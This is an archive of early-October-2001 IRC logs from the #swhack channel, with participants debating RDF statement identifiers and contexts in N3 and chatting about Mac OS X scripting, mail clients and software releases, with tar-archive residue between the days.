22:09:01 <AaronSw> I see. 22:09:32 <sbp> We have the language tiers: * XML Core * RDFS, XSLT, etc. * XHTML, MathML, SMIL, VoiceML, SVG * SSML, XSL-FO 22:09:52 <AaronSw> s/RDFS/RDF/ 22:10:08 <AaronSw> right? 22:10:13 <sbp> Well, we're not sure... 22:10:38 <sbp> and the user tiers: * Schema developer * Solution developers * instance creators/users 22:10:52 <sbp> s/user/user\/creator 22:11:31 <sbp> we decided that XML GL is scoped *towards* the XHTML... tier, and the schema developer tier, but that there are intersections between the various tiers 22:12:05 <sbp> We also decided that a separate document explaining how all of these tiers fit into a time based process might be useful, possibly in conjunction with DI 22:12:35 <sbp> And we went through some of the issues raised on wai-tech-comments 22:13:39 <sbp> Gotta run 22:13:41 <AaronSw> Neat. Sounds like you were busy. 22:13:43 <AaronSw> See you later. 22:13:56 <AaronSw> Send my best to the WG. 22:16:40 <sbp> sbp has quit 22:22:16 <Morbus> Morbus has joined #swhack 22:22:33 <AaronSw> 'lo 22:22:54 <Morbus> hey. 22:24:28 <Morbus> i had this idea to run a perl script through cron that would modify the names of some files in the Script folder, so that when you click on the ScriptMenu, you'd see the weather and so forth without having to run anything 22:24:36 <Morbus> (since we'd rename Script items to the current entry) 22:24:50 <AaronSw> That'd be cool. 22:24:56 <AaronSw> But what would the scripts do? 22:25:17 <Morbus> nothing really <g>... they'd just be stubs there to be renamed. 22:26:05 <AaronSw> Hmm, the Scripts folder doesn't seem to change the menu 22:26:25 <Morbus> eh? when i add things into the Scripts folder, they show up in the scriptmenu 22:26:41 <AaronSw> Hmm, do they have to be scripts? 22:26:54 <AaronSw> You know it might just be easier to write your own .menu ;) 22:26:59 <Morbus> i doubt it - how would it be able to disctinuguish between perl / as / shell 22:27:04 <Morbus> heheh. yeah, you know how? ;) 22:27:31 <AaronSw> Heh.. can't be too hard! ;) 22:29:09 <Morbus> welp, if you shell into ScriptMenu.menu, it has the same sort of dir structure as others. including a TODOish like file ;) 22:29:36 <AaronSw> or ctrl-click 22:29:46 <Morbus> yeah, but that's so gui-ish ;) 22:32:10 <AaronSw> Hmm, I can't get anything to appear in the scriptMenu 22:32:47 <Morbus> really? can you see the default entrier? 22:32:53 <Morbus> when you "open script folder" what shows up? 22:33:08 <AaronSw> A finder window with just the files i've added 22:33:19 <AaronSw> I can see the default stuff -- Basic, Finder Scripts 22:33:22 <Morbus> and you don't see those reflected n the script? 22:33:22 <AaronSw> but none of my own 22:33:56 <Morbus> interesting. i've added only one file in root of Scripts, and it has ????/???? for creator type. runs fine. 22:34:10 <AaronSw> "reflected n the script" ? i don't follow 22:34:27 <Morbus> forget that one. 22:35:18 <AaronSw> where's that script to restart menuserver? 22:35:47 <Morbus> on the as site... where you got these from. 22:36:02 <AaronSw> oh, i thought it came iwth. 22:37:06 <AaronSw> hmmph, script menu died then 22:38:20 <AaronSw> am i supposed to put it somewhere special? 22:38:23 <AaronSw> ok, now stuff works 22:38:38 <Morbus> i juststuck mine in Applications, then dragged to the menu bar 22:38:53 <AaronSw> Yeah, me too. 22:39:02 <AaronSw> Ooh, now they have icons. 22:39:06 <Morbus> jehhehe 22:45:06 <AaronSw> I love the Perl script on this page: ;) 22:45:08 <AaronSw> - http://www.apple.com/applescript/macosx/script_menu/ 22:45:17 <Morbus> hehe. i know, i saw that. <g> 22:47:47 <Morbus> connect.apple.com is down - i'm hoping its' to upgrade the devtools 22:48:18 <AaronSw> cool 22:48:27 <Morbus> cos cvs doesn't work. 22:48:28 <Morbus> :( 22:49:50 <AaronSw> Wow, I got an email from Avie Tevanian's sister-in-law! 22:49:58 <Morbus> hehehe. what for? 22:50:05 <AaronSw> "Enjoyed your site! We particularly found the Avie Tevanian office photos amusing." 22:50:22 <Morbus> hehe. kick ass :) 22:53:33 <Morbus> oh yeah, did you see that as book on xml-rpc/soap? 22:53:37 <Morbus> i got the url around here 22:54:43 <AaronSw> The O'Reilly book on XML-RPC? 22:55:13 <Morbus> no, its a specific one from apple. on using applescript to make soap/xml-rpc calls 22:55:19 <AaronSw> Oh, yes. 22:55:23 <AaronSw> Wes pointed to it. 22:55:24 <Morbus> ah. pl 22:55:26 <Morbus> ok 22:55:35 <AaronSw> pl? 22:55:44 <Morbus> yeah, they're right next to ok ;) 22:55:53 <AaronSw> ;) 23:07:54 <sbp> sbp has joined #swhack 23:09:05 <AaronSw> wb 23:09:12 <sbp> ty 23:09:23 <AaronSw> np 23:09:32 <AaronSw> wu 23:09:51 <AaronSw> ? 23:10:05 <sbp> p? 23:10:33 <AaronSw> p? 23:10:41 <sbp> p 23:10:42 <AaronSw> wu = what's up, to which you respond nm = not much 23:10:48 <AaronSw> p? 23:10:52 <Morbus> :P 23:10:53 <sbp> nm 23:11:11 <sbp> p = pardon, to which you simply restate your abbreviation 23:11:33 <AaronSw> ah 23:11:50 <sbp> he 23:11:50 <sbp> he 23:11:51 <sbp> he 23:11:51 <Morbus> aaronSw, you know how to change the destop bg in as? 23:12:04 <AaronSw> as? 23:12:09 <AaronSw> oh, i see 23:12:16 <AaronSw> not off hand -- look in the finder's dictionary 23:12:19 <Morbus> applescript 23:12:23 <Morbus> yah, i did, but i dont have a clue 23:12:35 <AaronSw> hmm, i dunno 23:12:50 <AaronSw> OK, have to go soon 23:13:19 <AaronSw> * AaronSw prepares for holiday... 23:13:32 <Morbus> holiday? 23:13:45 <AaronSw> Sukkot starts tonight 23:13:54 <Morbus> ah. you have a lot of holidays 23:13:56 <AaronSw> So, are you ready for tomorrow, sbp? 23:13:59 <Morbus> i don't celebreate any holidsa 23:14:06 <AaronSw> Ah. 23:14:25 <Morbus> not even my bd or xmas 23:14:29 <sbp> Yeah, I'm just about to go to bed; very tired 23:14:45 <AaronSw> Good, I don't have to buy you a present then. 23:14:50 <Morbus> :D 23:14:57 <AaronSw> sbp, rest up! More fun is in store ;) 23:15:02 <Morbus> well, lord forgive me if i press my beliefs on others. 23:15:12 <Morbus> if you got my a presetnt, i'd justhave to begrudgingly accept it ;) 23:15:21 <AaronSw> hehehe 23:15:41 <AaronSw> sbp, make them encode their graph in RDF. 23:15:48 <AaronSw> and use danc's nodes and arcs tools 23:15:59 <sbp> what graph? Oh that... yeah, I was thinking of that 23:16:10 <sbp> can Dan's stuff do DAML intersections and so on? 23:16:30 <AaronSw> I don't think so -- it's just nodes and arcs 23:16:55 <sbp> We need intersections... and we need a way of structuring the tiers as well 23:17:20 <AaronSw> Hm. 23:17:34 <AaronSw> Well, they can always add features. 23:17:44 <AaronSw> Or create a different tool that also uses RDF. 23:18:07 <sbp> cool: http://www.w3.org/2001/02pd/opksnet.png 23:18:17 <sbp> yeah, it needs a specialist tool really 23:18:35 <sbp> * sbp wonders what will happen to N3, and the logic rules... 23:19:00 <AaronSw> happen in what way? 23:19:02 <sbp> Are rules files in Notation3 "persistent", d'ya reckon? 23:19:11 <sbp> Happen, as in support for them in the future 23:19:29 <sbp> I mean, DanC has often said no warranty whatsoever, which is a shame 23:19:30 <deltab> hrm, another black background 23:19:38 <AaronSw> What warranty would you like? 23:20:17 <AaronSw> deltab, your sw must be broken 23:20:32 <AaronSw> sbp, they're as persistent as anything else... the URIs aren't gonna break 23:20:40 <sbp> Just a commitment to get a Working Group on it, and discussing rules/inferences in RDF 23:21:08 <sbp> Yeah, but it's like investing in Betamax, isn't it? 23:21:14 <AaronSw> www-rdf-rules 23:21:28 <AaronSw> Betamax: no -- there'll be converters, i'm sure 23:21:30 <sbp> That's kinda a subset of inferences 23:21:45 <AaronSw> how so? 23:22:09 <sbp> er... my mistake, I guess it's not 23:22:33 <sbp> But CWM is on a more advanced level to everything else, and it would be a shame if that work just kinda got steamrollered over 23:22:38 <sbp> * sbp wonders how best to put it 23:22:45 <AaronSw> I was thinking of adding a 'that' or '...' term to N3 to make statements about asserted statements. 23:23:08 <Morbus> Morbus has quit 23:23:09 <sbp> just reify it 23:23:09 <AaronSw> sbp, DanC and TimBL are the guys making these deciisons -- they won't steamroller their own work! 23:23:19 <AaronSw> reification is wrong for this 23:23:23 <AaronSw> statements need uris 23:23:31 <sbp> statements can have URIs 23:23:38 <AaronSw> not asserted ones 23:24:22 <sbp> <http://example.org/blargh> rdf:subject :x; rdf:predicate :y; rdf:object :y . 23:24:33 <AaronSw> how is that asserted? 23:24:54 <sbp> er... I see what you mean 23:25:03 <sbp> well, you just create a new set of properties 23:25:14 <AaronSw> but then older processors don't understand them 23:25:20 <AaronSw> it needs to be built into the language 23:25:37 <sbp> so? older processors won't understand "that" either. They won't understand any addition 23:25:52 <sbp> the point of the SW is that you don't have to beg to the authorities to add these features! 23:26:08 <AaronSw> Hmm, well I think it needs to go into RDF 2.0. 23:26:12 <AaronSw> It's part of the foundation. 23:26:25 <sbp> perhaps. But perhaps so does DAML, and Dublin Core 23:26:31 <AaronSw> Nope. 23:26:40 <AaronSw> Why do they need to go into the language? 23:26:46 <AaronSw> That wouldn't make sense. 23:26:54 <AaronSw> It needs to be added to N-triples, is what I'm saying. 23:27:02 <AaronSw> It needs to be part of the abstract syntax. 23:27:11 <sbp> you can't add it to NTriples... how would you do so? 23:27:20 <AaronSw> N-Triples 2.0 23:27:24 <AaronSw> for RDF 2.0 23:27:26 <sbp> give me an example 23:27:48 <AaronSw> _:triple1 := :a :b :c . 23:28:02 <AaronSw> _:triple2 := _:triple1 :g :f . 23:28:05 <sbp> 5-ary relationships? 23:28:12 <AaronSw> only 4 23:28:23 <AaronSw> and it's not a relationship -- just giving the triple a name 23:28:42 <sbp> what triples/quads would result from such a thing? 23:28:50 <AaronSw> those are the quads 23:29:16 <sbp> so you're just adding statement IDs. So just do it that way then! 23:29:25 <sbp> :a :b :c _:triple1 . 23:29:29 <AaronSw> Yes, that's another way to call it. 23:29:45 <sbp> in that case, it should probably have contexts too 23:29:56 <AaronSw> No, you can build contexts from that. 23:30:05 <AaronSw> _:context1 :contains _:triple1 . 23:30:07 <sbp> no, because contexts aren't asserted 23:30:16 <sbp> well... 23:30:21 <AaronSw> How do you determine what's asserted? from context. 23:30:35 <sbp> you can build asserted statements in triples, so you don't need any extension 23:30:42 <AaronSw> _:triple1 rdf:type :UnAsserted 23:30:58 <sbp> you can't put StIDs into the actual syntax of RDF, and then leave contexts to the model 23:31:04 <AaronSw> _:triple1 :said :John . 23:31:13 <AaronSw> Why not? 23:31:25 <sbp> itdoesn't make sense! it's hypocritical 23:31:30 <AaronSw> how? 23:31:50 <sbp> because you can model both, or put both into the syntax. Why do one one way, and one the other? 23:32:08 <AaronSw> Because only one needs to be part of the syntax. 23:32:17 <AaronSw> With statement ids, you can model contexts. not the other way around 23:32:27 <AaronSw> (or at least it's a real pain) 23:32:41 <sbp> you can model statement ID's! 23:32:47 <sbp> it's not that much of a pain... 23:32:59 <AaronSw> how? 23:33:06 <sbp> _:a :s :x; :p :y; :o :z . 23:33:16 <sbp> :s rdfs:domain :AssertedStatement . 23:33:37 <AaronSw> that doesn't make sense! 23:33:54 <sbp> huh? makes perfect sense 23:34:03 <AaronSw> it's not really being asserted, then 23:34:29 <AaronSw> all that's happening is some applications are magically interpreting that 23:34:35 <sbp> of course it is, because that's how the properties :s :p and :o are defined 23:34:40 <sbp> same with your :contains! 23:34:51 <sbp> <AaronSw> _:context1 :contains _:triple1 . 23:35:04 <AaronSw> We clearly know that's being asserted. 23:35:10 <AaronSw> not talked about. 23:35:16 <AaronSw> it's obvious from the language 23:35:17 <sbp> pardon me? 23:35:31 <AaronSw> You can talk about a triple: ":a :b :c ." is interesting. 23:35:40 <AaronSw> And you can assert it: ":a :b :c ." 23:35:49 <AaronSw> those actions must be part of the language. 23:35:59 <sbp> but they can be modelled! 23:36:02 <AaronSw> well, the second one. 23:36:05 <AaronSw> no, they can't! 23:36:12 <sbp> yes, they can! 23:36:25 <AaronSw> hmm, how do i explain it. 23:36:36 <AaronSw> you can pretend to do them thru modeling, but the language still lacks the expressiveenss 23:36:46 <sbp> yes, and it's the same with contexts! 23:36:57 <AaronSw> why? 23:36:57 <AaronSw> programs need to know when they can do inferences and when they can't 23:37:00 <sbp> your " _:context1 :contains _:triple1 ." thing should be in the language 23:37:04 <AaronSw> why? 23:37:19 <AaronSw> Programs that believe in :contains would obviously know what it is. 23:37:20 <sbp> because the langauge will otherwise lack the expressiveness to have contexts 23:37:30 <AaronSw> you're asking everyone to belive in :s -- they don't necessarily know about it. 23:37:38 <sbp> programs that believe in :s :p and :o would obviously know what they are 23:37:52 <AaronSw> but you're asking even programs that don't to belive in it! 23:38:09 <AaronSw> so you end up with programs that don't know about it, and so don't understand your asserted triples, even when they should. 23:38:11 <sbp> why would a program not believe it? 23:38:28 <AaronSw> it wouldn't 23:38:35 <AaronSw> they all should, but they don't -- that's a bug 23:38:44 <sbp> Pffffff, a bug... 23:38:50 <AaronSw> they don't believe because they don't understand that it's being asserted 23:38:57 <AaronSw> they think it's just a regual :p property 23:39:02 <AaronSw> regular, rather 23:39:47 <sbp> I really don't think that you can treat stIDs (labelling a statement) and contexts (labelling a set of statements) all that differently 23:40:15 <AaronSw> think about it while i'm away 23:40:24 <sbp> you're asking programs to believe in :context when they don't... 23:40:30 <AaronSw> how? 23:40:33 <sbp> s/:context/:contains 23:40:51 <sbp> in the same way that you just told me that they wont believe in :s .. etc. 23:41:08 <AaronSw> No, because I only expect programs that understand the context to believe in it. 23:41:29 <sbp> that doesn't make any sense to me... perhaps I'm tired 23:41:39 <AaronSw> i've got to run... perhaps you're right... i might need to model both. 23:41:47 <AaronSw> see you later 23:41:55 <sbp> c'ya; have fun!!! 23:41:59 <AaronSw> thanks! 23:42:02 <AaronSw> you too!! 23:42:05 <sbp> np. Thanks for chatting 23:42:09 <sbp> I'll try! :-) 23:42:26 <AaronSw> no, thank you 23:42:40 <sbp> no, sorry, thank *you* :-) 23:42:54 <AaronSw> tx. bye ;) 23:42:59 <sbp> c'ya 23:46:16 <sbp> sbp has quit ���������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-02.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000004533�07356446340�012011� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������01:22:49 <logster> logster has joined #swhack 01:22:49 <sagan.openprojects.net> topic is: Happy binary day! (01-10-01) | With your host, sbp, reporting live from the W3C WAI F2F in Brighton, UK! Let's give him a round of applause... 01:22:49 <sagan.openprojects.net> Users on #swhack: logster Morbus AaronSw tav` tav deltab 01:23:13 <Morbus> AaronSw, the dev tools are available 01:24:28 <Morbus> Morbus has quit 03:09:59 <Morbus> Morbus has joined #swhack 03:15:13 <Morbus> Morbus has left #swhack 04:05:09 <lilo> [GlobalNotice] Hi all. Services will be restarting in a moment, accompanied by some splitting and rejoining. Apologies for the inconvenience. 04:06:14 <ChanServ> ChanServ has changed the topic to: 06:09:23 <GabeW> GabeW has joined #swhack 06:13:52 <GabeW> GabeW has quit 09:53:40 <ChanServ> ChanServ has changed the topic to: 12:21:08 <Morbus> Morbus has joined #swhack 12:22:39 <Morbus> Morbus has quit 14:14:06 <Morbus> Morbus has joined #swhack 14:16:28 <Morbus> Morbus has quit 15:13:17 <Morbus> Morbus has joined #swhack 15:22:23 <Morbus> Morbus has quit 19:43:19 <sbp> sbp has joined #swhack 19:43:39 <sbp> * sbp plays "Love And Theft", the new Bob Dylan album 19:43:53 <sbp> good album... 19:44:29 <sbp> Hmm... they've changed the Google front page 19:48:43 <tav`> yea 19:48:50 <tav`> and the search results 19:49:21 <sbp> yeah... the images directory (which we already knew about) is pretty good 19:49:31 <tav`> aye 19:49:48 <tav`> well, i hope they don't get bloated like yahoo, altavista 19:49:53 <tav`> they were all nice once 19:49:58 <tav`> and then got a bit too heavey 19:50:01 <sbp> good mix of songs on this album. Bob said that they were all 12-bar blues type things, and I guess they are, but a good mix nontheless 19:50:12 <sbp> yeah, Yahho and Altavista really did bloat... 19:50:26 <sbp> Google's strength has always been its speed and simplicity 19:53:30 <tav`> which is what i fear 19:53:33 <sbp> sbp has quit 19:53:44 <sbp> sbp has joined #swhack 20:42:25 <sbp> * sbp plays "Summer Days" 20:56:21 <sbp> sbp has quit 22:01:43 <sbp> sbp has joined #swhack 22:23:30 <sbp> sbp has quit 23:19:47 <sbp> sbp has joined #swhack 23:24:39 <lilo> [GlobalNotice] Hi all. Services will be coming back up in a moment, with the usual splits. 23:24:55 <sbp> sbp has quit 23:24:58 <ChanServ> ChanServ has changed the topic to: 23:25:20 <sbp> sbp has joined #swhack ���������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-03.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000001334�07356707503�012007� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:22:57 <logster> logster has joined #swhack 00:22:57 <asimov.openprojects.net> Users on #swhack: logster deltab tav tav` AaronSw sbp 00:25:28 <sbp> sbp has quit 01:27:51 <Morbus> Morbus has joined #swhack 01:52:01 <Morbus> Morbus has quit 01:55:30 <Morbus> Morbus has joined #swhack 01:58:24 <Morbus> Morbus has quit 03:23:19 <Morbus> Morbus has joined #swhack 03:23:51 <Morbus> whoa. finally got the devtools installed 03:26:28 <Morbus> Morbus has quit 16:41:43 <sbp> sbp has joined #swhack 16:42:09 <sbp> cool F2F 16:43:28 <sbp> Gotta run 16:43:34 <sbp> sbp has quit 19:01:33 <la_taup3> la_taup3 has joined #swhack 19:01:39 <la_taup3> la_taup3 has left #swhack 21:33:21 <sbp> sbp has joined #swhack 22:20:51 <sbp> sbp has quit ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-04.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000051056�07357173262�012016� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:15:36 <logster> logster has joined #swhack 00:15:36 <carter.openprojects.net> Users on #swhack: logster deltab tav tav` AaronSw 00:16:23 <AaronSw> AaronSw has changed the topic to: Beware the secret lair. 00:16:53 <AaronSw> mwaha 00:40:22 <Morbus> Morbus has joined #swhack 00:40:58 <Morbus> new release of ampheta tonight. just waiting for sf to filerelease. 00:41:15 <AaronSw> cool 00:41:22 <AaronSw> what made the devtools so hard to install? 00:41:34 <Morbus> pft. not hard. just long. i'm on a 56k remember ;) 00:41:43 <AaronSw> ah 00:41:46 <AaronSw> :-) 00:41:53 <Morbus> i wanted to release a few days ago, but cvs was broken. 00:41:54 <Morbus> sigh 00:42:06 <Morbus> its still kinda broken. i think i have to reupload my identity.pub to sf. 00:42:09 <Morbus> keeps asking for my pw 00:42:28 <AaronSw> hmm 00:43:48 <Morbus> hmf. sf is taking forever today 00:47:08 <Morbus> ampheta's a featured perl project at the perl foundry at sf ;) 00:47:36 <AaronSw> wow... someday you will need to share the secrets of publicity with me! 00:47:55 <Morbus> hehehe... 00:48:10 <Morbus> i can't do anything... dammit. sf needs to release my files. 00:48:15 <Morbus> i'm stuck without that. 00:51:25 <AaronSw> Heh: http://leech.dk/tux_drink.jpg 00:52:20 <Morbus> heh. nice. 00:55:04 <AaronSw> AaronSw has changed the topic to: I need to finde the ZIG to the W3C's XAG. 00:56:06 <AaronSw> Shoot, Mac OS X Mail keeps quitting unexpectedly on me. This is really annoying. 00:56:22 <Morbus> really? hasnt happened to me... 00:56:36 <Morbus> actuall... 00:56:43 <AaronSw> I think it's HTML emails that get it. 00:56:43 <Morbus> i think i heard somethign about that on the macosx list at omnigroup.com 00:56:46 <Morbus> you may want to check the arhives, 00:56:51 <Morbus> or macfixit.com 00:56:59 <tav`> enotourage... 00:57:02 <tav`> entourage... 00:57:05 <Morbus> eudora! 00:57:17 <AaronSw> tav, why are you pushing mac products? 00:57:23 <AaronSw> s/mac/microsoft/ 00:57:34 <AaronSw> thanks, morbus 00:57:36 <Morbus> guess hedoesnt like you 00:58:03 <tav`> AaronSw: it looks nice? 00:58:09 <tav`> and seemed to work well afaict 00:58:15 <AaronSw> You got a Mac? 00:58:27 <AaronSw> Entourage is cool, yes but: 00:58:31 <AaronSw> a) it's from microsoft 00:58:33 <AaronSw> b) it's expensive 00:58:37 <AaronSw> c) it locks up my data 00:58:37 <tav`> no, but i have friends who use macs 00:58:51 <Morbus> and oh wait, it loves html mail. 00:58:58 <Morbus> and will be the harbinger of mac os virii ;) 00:59:56 <tav`> mac microsoft software seem better designed than windows ones 01:00:10 <Morbus> seen word X? it's more playskool than ever 01:00:17 <AaronSw> Yep, totally different group of guys, tav. 01:00:25 <AaronSw> they don't even work in redmond 01:00:28 <AaronSw> so they're cool with me 01:00:48 <AaronSw> (as long as I don't pay MS for their work) 01:05:19 <Morbus> whoo. v0.92 is up on sourceforge 01:06:24 <AaronSw> cool 01:06:29 <Morbus> aaronSw, you want to mention it on rss info? ;) 01:06:38 <AaronSw> Nah, you can. 01:06:53 <AaronSw> And to make it fair, put in that Peerkat is looking for programmers. ;) peerkat.sourceforge.net 01:07:19 <Morbus> hehe. see tht's why i didn't want to ;) unfair promotion where its too easy to get cauht ;) 01:07:56 <AaronSw> Well, you can just pretend I wrote it. 01:08:11 <AaronSw> Heh, especially since this is publically logged. 01:08:35 <tav`> heh 01:09:03 <Morbus> i'll be like "hi! i'm on a jewish holiday right now, but my great buddy morbus..." 01:09:04 <Morbus> <g> 01:09:32 <AaronSw> Heh. 01:09:47 <AaronSw> * AaronSw looks to see what Morbus has been writing on his site... 01:11:48 <Morbus> hehehe 01:20:38 <AaronSw> ugh, this Mail bug really sucks 01:22:44 <Morbus> no luck in the archives? 01:22:53 <AaronSw> not yet 01:29:30 <AaronSw> Hmm, how much does eudora cost? 01:30:14 <Morbus> free with ads. 01:30:26 <Morbus> or lite with no ads. 01:32:50 <AaronSw> hmm 01:32:51 <AaronSw> Can it import from Mail? 01:34:16 <Morbus> um. i dunno. i'm sure there's an applescript somewhere to do it 01:34:16 <AaronSw> Heh: EARN $100,000 PER YEAR SENDING E-MAIL!!! 01:34:16 <AaronSw> Quick, pay me now. 01:34:33 <Morbus> hehe. 01:40:23 <Morbus> aaronSw, you may want to poke around here http://emailman.com/eudora/mac/scripts.html 01:40:24 <Morbus> hey, do you know of a usenet reader for os x? 01:40:56 <AaronSw> Yeah, I use Thorth 01:41:02 <AaronSw> err... something like that... 01:41:08 <AaronSw> thoth 01:41:20 <Morbus> thorth? 01:41:20 <Morbus> heh. attachment capability? 01:41:32 <Morbus> for those oh so desirable binary groups 01:41:39 <AaronSw> Umm, dunno... I don't read Usenet all that much. I think so. 01:42:43 <Morbus> neither do i ;) ... i use to use mtnewswatcher under 8, then never reinstalled it when i threw 9 on 01:46:12 <Morbus> Morbus has quit 01:49:50 <AaronSw> Hmm, Eudora isn't Carbonized? 01:51:29 <Morbus> Morbus has joined #swhack 01:51:34 <AaronSw> Hmm, Eudora isn't Carbonized? 01:52:05 <Morbus> no, it is. 01:52:09 <Morbus> eudora.com/beta/s 01:52:13 <Morbus> betas/ rather 01:52:19 <Morbus> unexpirable beta os x version is carbon 01:52:46 <AaronSw> Ahh. 01:52:51 <AaronSw> Many bugs? 01:53:14 <Morbus> none that are crucial. 01:53:20 <Morbus> in 10.1, some of the tabs disappear 01:53:38 <Morbus> and if you ctrl-w when checking mail and your idle time is real low, you can get duplicate crashes. 01:53:47 <Morbus> those are the only two i've seen in an awful lot of usage 01:54:02 <AaronSw> duplicate crashes? 01:54:23 <Morbus> um... poo. you can duplicate the crash easily by doing this. 01:54:26 <Morbus> yeah, thats what i meant :) 01:54:55 <AaronSw> what's ctrl-w do? 01:54:55 <Morbus> i love clicking the send button. 01:55:05 <Morbus> dammit. apple-w 01:55:08 <Morbus> too much windows usage 01:56:27 <AaronSw> Heh. 01:57:47 <Morbus> sigh. why do people make things so hard. 01:57:55 <Morbus> upload.com wants me to type in the size of my download. 01:58:01 <Morbus> can't they figure that out themselves? sheeesh 01:58:53 <AaronSw> heh 01:58:56 <AaronSw> They can't count. 01:59:16 <Morbus> apparently. 01:59:23 <AaronSw> * AaronSw receives all 4 AmphetaDesk spams 01:59:32 <AaronSw> Apparently I am in the targe market. ;) 01:59:50 <Morbus> lol... 01:59:51 <AaronSw> * AaronSw considers writing Morbus a please don't spam to rss-dev letter... 01:59:54 <Morbus> thats funny as hell. 02:00:26 <Morbus> ah. if you want to say that publically, you can do that too. save me some future bandwidth /scolding 02:00:51 <AaronSw> Nah, i'm too lazy to do that. ;) 02:00:55 <Morbus> heheh 02:01:05 <Morbus> pt taken though 02:02:59 <tav`> heh 02:03:17 <tav`> Morbus: you want reputation.. 02:03:23 <tav`> then you only need to say things once 02:03:28 <tav`> and then people would pick up on it 02:03:31 <AaronSw> How? 02:03:34 <tav`> and spread it like wildfire 02:03:46 <Morbus> huh? whatcha talking about? 02:03:48 <Morbus> seen my press pit? 02:04:39 <AaronSw> come on tav, explain it 02:04:49 <AaronSw> Hmm, Eudora doesn't seem to be able to import from OS X Mail :-( 02:04:59 <Morbus> you didn't see any at that site? 02:05:54 <AaronSw> why is textedit taking so long to open? 02:06:13 <Morbus> why are you having so many problems? :( 02:07:18 <AaronSw> it doesn't seem to be my day 02:07:52 <Morbus> ah well. i'm leaving 02:07:57 <Morbus> got other stuff to finalize here 02:08:29 <AaronSw> ok, see you -- thanks for the help 02:09:11 <Morbus> Morbus has left #swhack 02:50:38 <Morbus> Morbus has joined #swhack 02:51:06 <AaronSw> Welcome back. 02:51:33 <Morbus> macperl 561b1 for mac just came out. whoo. 02:51:39 <Morbus> thanks 02:53:24 <AaronSw> I gave up on Eudora... perhaps I should just set up an IMAP server. 02:53:40 <Morbus> why'd you give up? 02:53:45 <Morbus> cos of the conversion? 02:53:49 <AaronSw> yeah 02:53:51 <Morbus> write one yourself, ya wuss ;) 02:53:54 <AaronSw> couldn't find a converter 02:53:56 <AaronSw> i'm lazy 02:53:56 <AaronSw> ugh! this crashing is really annoying! 02:54:21 <Morbus> yeah, there's an archive called "Mail, grrrrr" on omnigroup.com 02:54:31 <Morbus> i haven't been reading it, but *someone* else is having probs 02:54:39 <AaronSw> which list? 02:55:07 <Morbus> there's a mailing list at omnigroup.com called macosx. 02:55:08 <AaronSw> ahh, found it 02:55:09 <AaronSw> there 02:55:15 <AaronSw> macosx-talk 02:55:26 <AaronSw> there's a lot of mail.app bashing going on 02:55:29 <Morbus> yeah, that one 02:55:36 <Morbus> heheh :) 02:56:08 <Morbus> hey, if you see anything about menu extras, lemme know. same with neat applescript stuff 02:56:30 <AaronSw> ok 03:03:09 <AaronSw> search-and-replace to the rescue! 03:03:41 <AaronSw> uh oh... i screwed something up 03:05:12 <AaronSw> hmm, maybe not 03:05:18 <Morbus> lol 03:07:56 <AaronSw> Perhaps it's just a really weird email message 03:15:51 <AaronSw> LOL -- seen on an email list: 03:15:55 <AaronSw> """I don't know who you are but you and Scott and Nick have royally screwed up 03:15:55 <AaronSw> my compute rwith these weird messages---qand they keep coming. Must I call 03:15:55 <AaronSw> some authority?""" 03:16:22 <Morbus> lol 03:30:07 <Morbus> Morbus has left #swhack 03:51:22 <AaronSw> AaronSw has quit 03:51:36 <AaronSw> AaronSw has joined #swhack 04:50:09 <AaronSw> LOL, I tell someone I'm sticking with salesman instead of salesperson and I get back a 2-page response 06:36:29 <rillian> rillian has joined #swhack 06:36:30 <AaronSw> AaronSw has changed the topic to: I need to find the ZIG to the W3C's XAG. 06:36:41 <rillian> sure 06:36:54 <AaronSw> Cool, I keep this place for off-topic chat. ;) 06:37:36 <AaronSw> i still have wget hard wired into my brain, though 06:37:40 <AaronSw> as much as i like curl 06:37:44 <rillian> I heard libtool finally works in 10.1? 06:38:02 <AaronSw> hmm, haven't tried it 06:39:23 <rillian> I must say I won't be impressed if this is the problem 06:39:38 <AaronSw> Heh. 06:39:42 <rillian> you'd think an installer would be a place you'd be extra-careful about checking errors 06:40:03 <AaronSw> The installers haven't impressed me with their quality. 06:40:31 <rillian> dunno what's wrong with tar.gz 06:40:41 <AaronSw> When installing 10.1 on a laptop it kept quitting out in the middle and I couldn't figure out for the life off me why. 06:40:54 <AaronSw> So on a whim, I turned off the Printer Descriptions and Language Packs and it worked! 06:41:06 <AaronSw> but it was odd, getting these kernel-panic style error messages. 06:41:21 <rillian> huh, the 10.1 upgrade went ok 06:41:35 <rillian> though it seemed to spend a *lot* of time on Language Packs 06:42:22 <rillian> of course, I'm out of disk space again 06:43:02 <AaronSw> Heh. 06:43:20 <AaronSw> OmniDiskSweeper is my savior. 06:43:57 <rillian> what does that do, anyway? 06:44:35 <AaronSw> It's basically like "Browser View" sorted by size 06:45:13 <rillian> um...and this is different from the finder how? 06:45:28 <rillian> or sorted over the whole disk? 06:45:42 <AaronSw> yep, the whole disk 06:46:03 <AaronSw> so you drill down to find the big space-wasters 06:48:05 <rillian> well, it's certainly nice to meet another osx junkie 06:48:20 <rillian> most of the people I know respond to questions with 'use linux' :) 06:48:24 <AaronSw> Heh. 06:48:41 <AaronSw> Morbus hangs out in #swhack sometimes -- also an OS X junkie. 06:49:01 <AaronSw> http://disobey.com/about/ 06:49:56 <rillian> morbus' site? 06:50:20 <rillian> AaronSw: you don't know how to remove the stickiness of the capslock by any chance? 06:50:29 <AaronSw> yep, morbus's site. 06:50:36 <AaronSw> stickiness: nope, sorry 06:50:49 <AaronSw> Why would you want to? wouldn't that just make it a shift key? 06:51:04 <rillian> then I could switch it with ctrl 06:51:17 <rillian> which is suboptimally placed on the powerbook keyboards 06:51:51 <rillian> "The software was successfully installed" 06:52:00 <rillian> "Time remaining: about 6 minutes" 06:52:20 <AaronSw> heh... don't you wish it would make up its mind 06:52:53 <rillian> the best thing is that the Time Remaining: is now at 8 